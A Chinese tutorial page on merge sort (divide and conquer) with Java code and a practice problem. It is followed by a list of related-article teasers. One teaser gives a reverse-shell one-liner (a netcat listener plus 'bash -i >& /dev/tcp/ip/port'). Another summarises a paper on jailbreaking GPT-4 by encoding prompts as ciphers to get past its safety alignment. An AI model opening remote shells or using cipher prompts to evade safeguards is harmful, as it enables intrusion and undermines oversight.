归并排序---分治法

1、算法的概念

归并排序:是创建在归并操作上的一种有效的排序算法。算法是采用分治法的一个非常典型的应用,且各层分治递归可以同时进行。归并排序的思路简单,速度仅次于快速排序,为稳定排序算法,一般用于对总体无序,但是各子项目相对有序的数列。时间复杂度:O(n\log{n})

 2、步骤

  1. 申请空间,使其大小为两个已经排序之和,该控件用来存放给合并后的序列
  2. 设定两个指针,最初位置分别为两个已经排序序列的起始位置
  3. 比较两个指针所指向的元素,选择相对小的元素放入到合并空间,并移动指针到下一位置
  4. 重复步骤3直到某一指针达到序列尾
  5. 将另一系列剩下的所有元素直接复制到合并序列尾
public static int[] mergeSort(int[] nums,int l,int h){if(l == h) {return new int[]{nums[l]};}int mid = (l + h) / 2;int[] leftArr = mergeSort(nums,l,mid);//左有序数组int[] rightArr = mergeSort(nums,mid+1,h);//右有序数组int[] newNum = new int[leftArr.length + rightArr.length];//新有序数组int m = 0,i = 0, j = 0;while(i < leftArr.length && j < rightArr.length){newNum[m++] = leftArr[i] < rightArr[j] ? leftArr[i++] :rightArr[j++];}while (i < leftArr.length){newNum[m++] = leftArr[i++];}while(j < rightArr.length){newNum[m++] = rightArr[j++];}return newNum;}

例题

https://www.lanqiao.cn/problems/3225/learning/

public class _05归并算法 {public static void main(String[] args) {Scanner sc = new Scanner(System.in);int n = sc.nextInt();int[] arr = new int[n];for (int i = 0; i < n; i++) {arr[i] = sc.nextInt();}arr = mergeSort(arr,0,n-1);for (int x:arr){System.out.print(x + " ");}}public static int[] mergeSort(int[] nums,int l,int h){if(l == h) {return new int[]{nums[l]};}int mid = (l + h) / 2;int[] leftArr = mergeSort(nums,l,mid);//左有序数组int[] rightArr = mergeSort(nums,mid+1,h);//右有序数组int[] newNum = new int[leftArr.length + rightArr.length];//新有序数组int m = 0,i = 0, j = 0;while(i < leftArr.length && j < rightArr.length){newNum[m++] = leftArr[i] < rightArr[j] ? leftArr[i++] :rightArr[j++];}while (i < leftArr.length){newNum[m++] = leftArr[i++];}while(j < rightArr.length){newNum[m++] = rightArr[j++];}return newNum;}
}

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/292977.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MoonBit MeetUp回顾——张正、宗喆:编程语言在云原生与区块链领域的技术探索

宗喆和张正分别给我们带了 KCL 相关的最新进展&#xff0c;由蚂蚁集团开发的 Rust 编写的开源 DSL&#xff0c;目标是优化云原生策略配置和用户体验。它通过引入动态配置管理、配置校验和基础设施抽象等核心概念&#xff0c;解决开发者认知负担、配置膨胀和标准化工具缺乏的问题…

[Windows]服务注册工具(nssm)

文章目录 官网下载地址百度云下载地址NSSM常用命令 使用场景&#xff1a;例如现在我们想开启自动启动一个Java服务,nginx,node等。 官网下载地址 https://nssm.cc/download 百度云下载地址 链接&#xff1a;https://pan.baidu.com/s/111fkBWIS7CTlWIj80Kc8Sg?pwdanan 提取码…

python_2

文章目录 题目一运行结果 题目二运行结果 题目一 代码如下&#xff1a; def merge():ls_0 input("输入一个列表(空格隔开)&#xff1a;").split()ls_1 []for i in ls_0:ls_1.append(i)ls_1.sort()if ls_0 ls_1:print("这是一个有序列表")else:print(&qu…

[Android]模拟器登录Google Play失败

问题&#xff1a; 模拟器登录Google Play失败&#xff0c;提示couldnt sign in there was a problem communicating with google servers. try again later. 原因&#xff1a; 原因是模拟器没有连接到互联网&#xff0c;打开模拟器中Google浏览器进行搜索一样不行。 解决&am…

数据结构--循环链表(C语言实现)

一.循环链表的设计 typedef struct CNode{ int data; struct CNode* next; }CNode ,*CList; 2.循环链表的示意图: 3.循环链表和单链表的区别: 唯一区别,没有空指针,尾节点的后继为头,为循环之意. 二.循环链表的实现 //初始化return true; }//返回key的前驱地址&#xff0c;如果…

蓝桥杯省赛刷题——题目 2656:刷题统计

刷题统计OJ链接&#xff1a;蓝桥杯2022年第十三届省赛真题-刷题统计 - C语言网 (dotcpp.com) 题目描述 小明决定从下周一开始努力刷题准备蓝桥杯竞赛。他计划周一至周五每天做 a 道题目&#xff0c;周六和周日每天做 b 道题目。请你帮小明计算&#xff0c;按照计划他将在第几…

反弹shell

kali监听&#xff1a; nc -lvp port 客户机执行&#xff1a; bash -i >& /dev/tcp/ip/port 0>&1 bash -c "bash -i >& /dev/tcp/ip/port 0>&1" bash -c&#xff1a;告诉 Bash 执行 -c 后面跟随的命令字符串。bash -i&#xff1a;启动一…

抽象类和接口的简单认识

目录 一、抽象类 1.什么是抽象类 2.抽象类的注意事项 3.抽象类与普通类的对比 二、接口 1.接口的简单使用 2.接口的特性 3.接口的使用案例 4.接口和抽象类的异同 一、抽象类 所谓抽象类&#xff0c;就是更加抽象的类&#xff0c;也就是说&#xff0c;这个类不能具体描…

动态规划之子序列(三)

583. 两个字符串的删除操作 给定两个单词 word1 和 word2&#xff0c;找到使得 word1 和 word2 相同所需的最小步数&#xff0c;每步可以删除任意一个字符串中的一个字符。 示例&#xff1a; 输入: “sea”, “eat” 输出: 2 解释: 第一步将"sea"变为"ea"…

论文笔记:GPT-4 Is Too Smart To Be Safe: Stealthy Chat with LLMs via Cipher

ICLR 2024 reviewer评分 5688 1 论文思路 输入转换为密码&#xff0c;同时附上提示&#xff0c;将加密输入喂给LLMLLM输出加密的输出加密的输出通过解密器解密 ——>这样的步骤成功地绕过了GPT-4的安全对齐【可以回答一些反人类的问题&#xff0c;这些问题如果明文问的话&…

Linux 安装Mysql

安装源文件版本&#xff1a;mysql-5.7.25-linux-glibc2.12-x86_64.tar.gz 安装前&#xff0c;我们可以检测系统是否自带安装 MySQL: rpm -qa | grep mysql如有&#xff0c;类似 mysql-libs-5.1.52-1.el6_0.1.x86_64那可以选择进行卸载: rpm -e mysql-libs-5.1.52-1.el6_0.1…

云备份项目认识、环境搭建以及所使用的库的介绍

一、云备份认识 将本地计算机一个受监管的文件夹的文件上传到服务器中&#xff0c;有服务器组织&#xff0c;客户端可以通过网页将文件查看并且下载下来&#xff0c;下载过程支持断点续传功能&#xff0c;并且服务器会对上传的文件进行热点管理&#xff0c;长时间没人访问的文…

AES加密解密算法

一&#xff0c;AES算法概述 AES属于分组加密&#xff0c;算法明文长度固定为128位&#xff08;单位是比特bit&#xff0c;1bit就是1位&#xff0c;128位等于16字节&#xff09; 而密钥长度可以是128、192、256位 当密钥为128位时&#xff0c;需要循环10轮完成加密&#xff0…

【最后一天!】2G 50/年 4G 618/3年 京东大厂 云服务器选购建议 搭建网站 数据分析 附最新价格对比表

《最新对比表》已更新在文章头部—腾讯云文档&#xff0c;文章具有时效性&#xff0c;请以腾讯文档为准&#xff01; 【腾讯文档实时更新】云服务器1分钟教会你如何选择教程 2024-开年采购活动 云服务器专区 京东云 阿里云 腾讯云 配置最新价格表 与 官方活动地址 ​ 当前活动…

idea中Git项目遇到“Filename too long”错误 与 配置Git的ssh证书

一&#xff1a;“Filename too long”问题解决办法 错误信息&#xff1a; fatal: cannot create directory at xxxx: Filename too long warning: Clone succeeded, but checkout failed. You can inspect what was checked out with git status and retry with git restore …

CXL系统架构

CXL系统架构 CXL支持三种设备类型&#xff0c;如下图。Type 1支持CXL.cache和CXL.io&#xff1b;Type 2支持CXL.cache&#xff0c;CXL.mem和CXL.io&#xff1b;Type 3支持CXL.mem和CXL.io。无论哪种类型&#xff0c;CXL.io都是不可缺少的&#xff0c;因为设备的发现&#xff0…

正则表达式 vs. 字符串处理:解析优势与劣势

title: 正则表达式 vs. 字符串处理&#xff1a;解析优势与劣势 date: 2024/3/27 15:58:40 updated: 2024/3/27 15:58:40 tags: 正则起源正则原理模式匹配优劣分析文本处理性能比较编程应用 1. 正则表达式起源与演变 正则表达式&#xff08;Regular Expression&#xff09;最早…

MES_ENT_STD

生产执行系统&#xff08;企业标准版&#xff09;MES_ENT_STD ERP_ENT_STD_59438.ieqq.ent-CSDN博客 OAMS_ENT_STD-CSDN博客

爬虫(Web Crawler)介绍与应用

## 摘要 本文将介绍什么是爬虫&#xff08;Web Crawler&#xff09;以及其在信息抓取、数据分析等领域的应用。我们将深入探讨爬虫的工作原理、设计特点以及开发过程中需要考虑的关键问题。 ## 一、什么是爬虫 爬虫是一种自动化程序或脚本&#xff0c;用于从互联网上抓取信息…

主流公链 - Monero

Monero: 加密货币的隐私标杆 1. 简介 Monero&#xff08;XMR&#xff09;&#xff0c;世界语中货币的意思&#xff0c;是一种去中心化的加密货币&#xff0c;旨在提供隐私和匿名性。与比特币等公开区块链不同&#xff0c;Monero专注于隐私保护&#xff0c;使用户的交易记录和余…